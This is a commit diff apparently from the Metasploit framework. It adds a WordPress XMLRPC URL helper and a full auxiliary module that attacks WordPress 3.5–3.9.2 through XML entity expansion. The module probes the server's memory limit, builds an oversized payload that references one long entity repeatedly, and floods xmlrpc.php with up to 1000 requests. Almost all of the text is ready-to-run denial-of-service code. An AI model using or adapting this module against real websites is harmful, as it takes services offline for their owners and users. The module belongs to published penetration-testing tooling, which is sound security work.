Land rapid7#3624 - Wordpress XMLRPC DoS

Author: wchen-r7

lib/msf/http/wordpress/uris.rb

@@ -101,4 +101,11 @@ def wordpress_url_themes
     normalize_uri(wordpress_url_wp_content, 'themes')
   end
 
+  # Returns the Wordpress XMLRPC URL
+  #
+  # @return [String] Wordpress XMLRPC URL
+  def wordpress_url_xmlrpc
+    normalize_uri(target_uri.path, 'xmlrpc.php')
+  end
+
 end

modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb

@@ -0,0 +1,178 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'          => 'Wordpress XMLRPC DoS',
+      'Description'   => %q{
+        Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
+        This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
+        also patched).
+      },
+      'Author'        =>
+        [
+          'Nir Goldshlager',    # advisory
+          'Christian Mehlmauer' # metasploit module
+        ],
+      'License'       => MSF_LICENSE,
+      'References'    =>
+        [
+          ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'],
+          ['URL', 'http://www.breaksec.com/?p=6362'],
+          ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'],
+          ['URL', 'https://core.trac.wordpress.org/changeset/29404']
+        ],
+      'DisclosureDate'=> 'Aug 6 2014'
+    ))
+
+    register_options(
+    [
+      OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
+    ], self.class)
+
+    register_advanced_options(
+    [
+      OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
+      OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
+    ], self.class)
+  end
+
+  def rlimit
+    datastore['RLIMIT']
+  end
+
+  def default_limit
+    datastore['DEFAULT_LIMIT']
+  end
+
+  def fingerprint_step
+    datastore['FINGERPRINT_STEP']
+  end
+
+  def fingerprint
+    memory_to_use = fingerprint_step
+    # try out the available memory in steps
+    # apache will return a server error if the limit is reached
+    while memory_to_use < 1024
+      vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
+      opts = {
+        'method'  => 'POST',
+        'uri'     => wordpress_url_xmlrpc,
+        'data'    => generate_xml(memory_to_use),
+        'ctype'   =>'text/xml'
+      }
+
+      begin
+        # low timeout because the server error is returned immediately
+        res = send_request_cgi(opts, timeout = 3)
+      rescue ::Rex::ConnectionError => exception
+        print_error("#{peer} - unable to connect: '#{exception.message}'")
+        break
+      end
+
+      if res && res.code == 500
+        # limit reached, return last limit
+        last_limit = memory_to_use - fingerprint_step
+        vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
+        return last_limit
+      else
+        memory_to_use += fingerprint_step
+      end
+    end
+
+    # no limit can be determined
+    print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
+    return default_limit
+  end
+
+  def generate_xml(size)
+    entity = Rex::Text.rand_text_alpha(3)
+    doctype = Rex::Text.rand_text_alpha(6)
+    param_value_1 = Rex::Text.rand_text_alpha(5)
+    param_value_2 = Rex::Text.rand_text_alpha(5)
+
+    size_bytes = size * 1024
+
+    # Wordpress only resolves one level of entities so we need
+    # to specify one long entity and reference it multiple times
+    xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
+    xml << "<!DOCTYPE %{doctype} ["
+    xml << "<!ENTITY %{entity} \"%{entity_value}\">"
+    xml << ']>'
+    xml << '<methodCall>'
+    xml << '<methodName>'
+    xml << "%{payload}"
+    xml << '</methodName>'
+    xml << '<params>'
+    xml << "<param><value>%{param_value_1}</value></param>"
+    xml << "<param><value>%{param_value_2}</value></param>"
+    xml << '</params>'
+    xml << '</methodCall>'
+
+    empty_xml = xml % {
+      :doctype => '',
+      :entity => '',
+      :entity_value => '',
+      :payload => '',
+      :param_value_1 => '',
+      :param_value_2 => ''
+    }
+
+    space_to_fill = size_bytes - empty_xml.size
+    vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
+
+    payload = "&#{entity};" * (space_to_fill / 6)
+    entity_value_length = space_to_fill - payload.length
+
+    payload_xml = xml % {
+      :doctype => doctype,
+      :entity => entity,
+      :entity_value => Rex::Text.rand_text_alpha(entity_value_length),
+      :payload => payload,
+      :param_value_1 => param_value_1,
+      :param_value_2 => param_value_2
+    }
+
+    payload_xml
+  end
+
+  def run
+    # get the max size
+    print_status("#{peer} - trying to fingerprint the maximum memory we could use")
+    size = fingerprint
+    print_status("#{peer} - using #{size}MB as memory limit")
+
+    # only generate once
+    xml = generate_xml(size)
+
+    for x in 1..rlimit
+      print_status("#{peer} - sending request ##{x}...")
+      opts = {
+        'method'  => 'POST',
+        'uri'     => wordpress_url_xmlrpc,
+        'data'    => xml,
+        'ctype'   =>'text/xml'
+      }
+      begin
+        c = connect
+        r = c.request_cgi(opts)
+        c.send_request(r)
+        # Don't wait for a response, can take very long
+      rescue ::Rex::ConnectionError => exception
+        print_error("#{peer} - unable to connect: '#{exception.message}'")
+        return
+      ensure
+        disconnect(c) if c
+      end
+    end
+  end
+end